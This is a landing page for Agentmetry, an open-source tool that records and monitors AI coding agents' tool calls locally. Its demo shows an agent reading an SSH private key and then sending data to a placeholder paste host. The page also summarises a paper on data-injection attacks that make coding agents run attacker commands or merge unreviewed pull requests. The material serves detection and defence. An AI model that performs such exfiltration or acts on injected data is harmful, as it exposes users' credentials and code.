Agentmetry: local flight recorder for AI coding agents
GitHub<br>[ recording ]<br>The flight recorder<br>for AI coding agents.<br>Your agent reads a private key, then makes a network call. Your EDR sees a process. Agentmetry sees the sequence, tags it with MITRE ATT&CK, and fires one critical alert. Runs entirely on your machine.<br>View source30 second demo<br>$ git clone https://github.com/blitzcrieg1/agentmetry.git && cd agentmetry && pip install -e apps/orchestrator && python scripts/demo.py<br>Windows full install: powershell -ExecutionPolicy Bypass -File scripts\install.ps1<br>Apache-2.0 · open source9 detection rules0 cloud callsFor platform teams, security engineers, and devs dogfooding Cursor / Claude Code
agentmetry demo
$ python scripts/demo.py<br>The session<br>cursor.ReadT1552.004Credential Access · cat ~/.ssh/id_rsa<br>cursor.ShellT1059Execution · aws configure listdlp:aws_access_key<br>WebFetchT1071.001Command and Control · fetch https://paste.example.com/upload<br>CRITICALcredential-exfil<br>cursor.Read accessed credentials, then WebFetch egressed to the network in the same session.<br>ATT&CK: T1552.004 → T1071.001 · correlates 2 events
Secret value written to the trail? NO
Phase 1 flight recorder — detections strip, histogram, live ingest status
[ 01 ] who it is forBuilt for the security engineer who found out about Cursor from a pull request.
Your developers shipped Cursor, Claude Code, Codex and Antigravity into real repositories, with real credentials, and nobody told the security team. You cannot audit what you never recorded. Agentmetry records it at the tool boundary, on the machine, in a format your SIEM already reads.<br>→SOC and DevSecOps teams governing agents they did not choose.<br>→Platform engineers who need an evidence trail for an incident, not a token-cost chart.<br>→EU shops that need the record on their own hardware for the AI Act and GDPR.<br>→Anyone who has to answer what the agent actually did, after the fact.
[ 02 ] capabilitiesEndpoint security, adapted for autonomous agents.
01 / capture<br>Hooks and MCP proxy<br>IDE lifecycle hooks for Cursor, Claude Code, Codex and Antigravity, plus a stdio audit proxy that wraps any MCP server. Arguments are SHA-256 hashed in the hook process by default.
02 / correlate<br>Sequence detection<br>Per-event MITRE tags say what one call is. Nine rules say what a sequence means: credential access then egress, a denied approval that ran anyway, a PR merged without reading the diff, a download cradle piped into a shell, recon then collect.
03 / prevent<br>Local DLP<br>A regex engine scans tool arguments in the hook process, before execution and before storage. AWS keys, GitHub PATs, Slack tokens, bearer headers, private keys and SSNs. Set it to log or block.
0cloud calls. The trail is a hash-chained JSONL file you own.
9correlated detection rules, extensible in ~20 lines.
4SIEM sinks: Loki, Elastic ECS, Splunk HEC, webhook.
[ 03 ] researchWhen every guardrail passes, behaviour is the only evidence left.
Agent Data Injection Attacks are Realistic Threats to AI Agents (Choi et al., July 2026) demonstrates remote code execution and supply-chain compromise against Claude Code, Codex, Gemini CLI and Antigravity. It hides malicious data inside content the agent already trusts, such as a GitHub issue comment with forged author metadata, so the agent runs an attacker's command believing a maintainer sent it.<br>The paper tested model hardening, input guardrails, alignment guardrails, plan-then-execute, sandboxing and dual-LLM. All of them fail, for one reason:<br>ADI “corrupts only the data the agent acts on, leaving the agent’s task aligned with the user prompt.”<br>Nothing about the request looks wrong. The agent is doing what you asked. That is exactly the case a flight recorder exists for.<br>To be clear: Agentmetry does not prevent this and does not claim to. Prevention means isolating trusted from untrusted data inside the agent, which is the paper’s own conclusion and is not something a recorder can do. We detect the consequence.
Remote code execution§4.2<br>gh issue view → attacker's command<br>encoded-command-downloaduntrusted-input-then-risky-action
Supply chain§4.3<br>gh pr view → merge, diff never read<br>pr-merged-without-review
Both chains fire on a stock install. A benign session (read issue, run tests, view PR, read diff, merge) stays clean.
[ 04 ] pipelineFour stages, all on your machine.
01<br>Capture<br>Lifecycle hooks and the MCP proxy record every tool call before arguments leave the hook process.
02<br>Normalize<br>Events become canonical JSONL v1.1.0 with MITRE ATT&CK tags, hashed arguments, and a tamper-evident hash chain on the file sink.
03<br>Correlate<br>Rules run over each session as events arrive. A firing rule is emitted once, as an event.
04<br>Forward<br>The same trail streams to Loki, Elastic, Splunk or a webhook. Optional, and never the source of truth.
audit-forward.jsonltail -f<br>14:22:01T1059cursor.Shell · pytest tests/ -q<br>14:22:03T1083Glob · **/*.ts<br>14:22:07T1552.001cursor.Read ·...